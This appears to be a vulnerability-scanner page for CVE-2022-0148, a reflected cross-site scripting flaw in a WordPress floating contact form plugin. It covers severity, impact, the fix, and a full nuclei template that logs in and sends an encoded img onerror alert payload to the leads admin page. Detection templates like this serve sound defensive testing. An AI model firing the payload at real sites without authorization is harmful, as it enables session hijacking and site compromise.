WordPress All-in-one Floating Contact Form <2.0.4 - Cross-Site Scripting

mediumseverity

5.4CVSS score

1.6%likelihood of exploitation, next 30 days

76%of all CVEs are less likely

Readycheck to confirm it

WordPress All-in-one Floating Contact Form, Call, Chat, and 50+ Social Icon Tabs plugin before 2.0.4 contains a reflected cross-site scripting vulnerability on the my-sticky-elements-leads admin page.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.

Fix

Update the WordPress All-in-one Floating Contact Form plugin to version 2.0.4 or later to mitigate the vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=my-sticky-elements-leads&search-contact=xxxx%22%3E%3Cimg+src+onerror%3Dalert%28%60document.domain%60%29+x
Positive when: contains "<img src onerror=alert(`document.domain`) x\">" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-0148 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-0148

info:
  name: WordPress All-in-one Floating Contact Form <2.0.4 - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: WordPress All-in-one Floating Contact Form, Call, Chat, and 50+ Social Icon Tabs plugin before 2.0.4 contains a reflected cross-site scripting vulnerability on the my-sticky-elements-leads admin page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update the WordPress All-in-one Floating Contact Form plugin to version 2.0.4 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/37665ee1-c57f-4445-9596-df4f7d72c8cd
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0148
    - https://plugins.trac.wordpress.org/changeset/2654453/mystickyelements
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0148
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-0148
    cwe-id: CWE-79
    epss-score: 0.01572
    epss-percentile: 0.75612
    cpe: cpe:2.3:a:premio:mystickyelements:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: premio
    product: mystickyelements
    framework: wordpress
  tags: cve,cve2022,xss,wp-plugin,authenticated,wpscan,wordpress,premio,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=my-sticky-elements-leads&search-contact=xxxx%22%3E%3Cimg+src+onerror%3Dalert%28%60document.domain%60%29+x HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src onerror=alert(`document.domain`) x">'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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